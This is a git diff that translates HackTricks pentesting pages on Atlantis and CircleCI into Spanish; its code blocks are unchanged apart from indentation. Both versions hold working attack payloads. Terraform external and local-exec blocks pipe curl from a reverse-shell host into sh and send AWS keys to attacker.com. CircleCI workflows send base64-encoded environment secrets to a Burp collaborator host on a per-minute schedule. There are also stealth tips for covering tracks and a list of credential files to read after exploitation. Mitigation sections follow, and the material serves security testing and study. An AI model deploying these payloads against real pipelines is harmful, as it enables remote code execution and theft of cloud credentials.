**atlantis.yaml** file of each repo to **specify the workflow to use.** +En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\ +Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar.** > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\ +> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repo**. > > ```yaml > # atlantis.yaml @@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor **Conftest Policy Checking** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Negar el uso de una lista de módulos. +- Afirmar atributos de un recurso en el momento de la creación. +- Capturar eliminaciones no intencionadas de recursos. +- Prevenir riesgos de seguridad (es decir, exponer puertos seguros al público). -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: - +[**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### Ataques > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Si durante la explotación encuentras este **error**: `Error: Error acquiring the state lock` +Puedes solucionarlo ejecutando: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Modificación de configuración en una nueva PR -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**. +Puedes hacer esto haciendo que [**Atlantis cargue una fuente de datos externa**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Simplemente coloca un payload como el siguiente en el archivo `main.tf`: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Ataque más sigiloso** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias: +- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- En el recurso externo, utiliza la característica **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **En lugar de** crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**. #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +Puedes **volcar secretos utilizados por terraform** ejecutando `atlantis plan` (`terraform plan`) poniendo algo como esto en el archivo de terraform: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Modificación de configuración en nueva PR -#### Atlantis apply RCE - Config modification in new PR +Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +Sin embargo, generalmente necesitarás eludir algunas protecciones: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida). +- Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Approved**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply` +- Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una manera **más sigilosa**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Inyección de Parámetros de Terraform +Al ejecutar `atlantis plan` o `atlantis apply`, terraform se está ejecutando por debajo, puedes pasar comandos a terraform desde atlantis comentando algo como: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Consulta las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### Flujo de trabajo personalizado -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Ejecutando **comandos de construcción personalizados maliciosos** especificados en un archivo `atlantis.yaml`. Atlantis utiliza el archivo `atlantis.yaml` de la rama de la solicitud de extracción, **no** de `master`.\ +Esta posibilidad se mencionó en una sección anterior: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el **archivo `atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**. > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### Eludir protecciones de plan/aplicar +Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiene_ `apply_requirements` configurado, es posible que un repositorio **modifique las protecciones de plan/aplicar para eludirlas**. ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Además, si no tienes configurado en la **protección de ramas** para pedir **reevaluar** cada PR cuando se **empuja un nuevo commit** a ella, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE. -This is the **setting** in Github branch protections: +Esta es la **configuración** en las protecciones de ramas de Github: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Si logras **robar el webhook secret** utilizado o si **no hay ningún webhook secret** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud **no soporta webhook secrets**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket. +- Si estás especificando `--repo-allowlist`, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos. +- Para prevenir esto, permite [las direcciones IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (ver direcciones IPv4 salientes). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` Contiene credenciales de acceso a vcs +- `/atlantis-data/atlantis.db` Contiene credenciales de acceso a vcs con más información +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Archivo de estado de Terraform +- Ejemplo: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Variables de entorno +- `/proc/[2-20]/cmdline` Línea de comandos de `atlantis server` (puede contener datos sensibles) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad. #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba) no deberías establecer `--allow-fork-prs` (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis requiere que especifiques una lista permitida de repositorios de los que aceptará webhooks a través de la bandera `--repo-allowlist`. Por ejemplo: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Repositorios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Tu organización completa: `--repo-allowlist=github.com/runatlantis/*` +- Cada repositorio en tu instalación de GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` +- Todos los repositorios: `--repo-allowlist=*`. Útil cuando estás en una red protegida pero peligroso sin también establecer un webhook secret. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta `atlantis server --help` para más detalles. #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Si los atacantes envían pull requests con código malicioso de Terraform en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [fuente de datos `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales. -To prevent this, you could: +Para prevenir esto, podrías: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Incluir proveedores en la imagen de Atlantis o alojar y negar egress en producción. +2. Implementar el protocolo de registro de proveedores internamente y negar egress público, de esa manera controlas quién tiene acceso de escritura al registro. +3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis debe ejecutarse con los secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un webhook secret, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de Webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab). -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos. #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para tu ubicación de webhook. #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`. #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`. -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..c2dd5b0d4 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -2,258 +2,234 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Información Básica -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) es una plataforma de Integración Continua donde puedes **definir plantillas** indicando lo que quieres que haga con algún código y cuándo hacerlo. De esta manera, puedes **automatizar pruebas** o **despliegues** directamente **desde la rama maestra de tu repositorio**, por ejemplo. -### Permissions +### Permisos -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **hereda los permisos** de github y bitbucket relacionados con la **cuenta** que inicia sesión.\ +En mis pruebas verifiqué que mientras tengas **permisos de escritura sobre el repositorio en github**, podrás **gestionar la configuración del proyecto en CircleCI** (configurar nuevas claves ssh, obtener claves api del proyecto, crear nuevas ramas con nuevas configuraciones de CircleCI...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +Sin embargo, necesitas ser un **administrador del repositorio** para **convertir el repositorio en un proyecto de CircleCI**. -### Env Variables & Secrets +### Variables de Entorno y Secretos -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +Según [**la documentación**](https://circleci.com/docs/2.0/env-vars/) hay diferentes maneras de **cargar valores en variables de entorno** dentro de un flujo de trabajo. -#### Built-in env variables +#### Variables de entorno integradas -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +Cada contenedor ejecutado por CircleCI siempre tendrá [**variables de entorno específicas definidas en la documentación**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`. -#### Clear text - -You can declare them in clear text inside a **command**: +#### Texto claro +Puedes declararlas en texto claro dentro de un **comando**: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +Puedes declararlos en texto claro dentro del **entorno de ejecución**: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +Puedes declararlos en texto claro dentro del **entorno de trabajo de construcción**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +Puedes declararlos en texto claro dentro del **entorno de un contenedor**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Secretos del Proyecto -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Estos son **secretos** que solo van a ser **accesibles** por el **proyecto** (por **cualquier rama**).\ +Puedes verlos **declarados en** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. -#### Context Secrets +#### Secretos de Contexto -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +Estos son secretos que son **a nivel de organización**. Por **defecto, cualquier repo** podrá **acceder a cualquier secreto** almacenado aquí: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> Sin embargo, ten en cuenta que se puede **seleccionar un grupo diferente** (en lugar de Todos los miembros) para **dar acceso a los secretos solo a personas específicas**.\ +> Esta es actualmente una de las mejores maneras de **aumentar la seguridad de los secretos**, para no permitir que todos accedan a ellos, sino solo algunas personas. -### Attacks +### Ataques -#### Search Clear Text Secrets +#### Buscar Secretos en Texto Claro -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.yml` de **cada repo en cada rama** y **busca** posibles **secretos en texto claro** almacenados allí. -#### Secret Env Vars & Context enumeration +#### Enumeración de Variables de Entorno Secretas y Contexto -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o verificarlos en la consola web: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Exfiltrar Secretos del Proyecto > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso **de ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_). > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**. +Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de workflows**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **crear un flujo de trabajo** que se **dispare cada minuto** y que **exfiltre los secretos a una dirección externa**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### Exfiltrar secretos de contexto -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +Necesitas **especificar el nombre del contexto** (esto también exfiltrará los secretos del proyecto): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **modificar 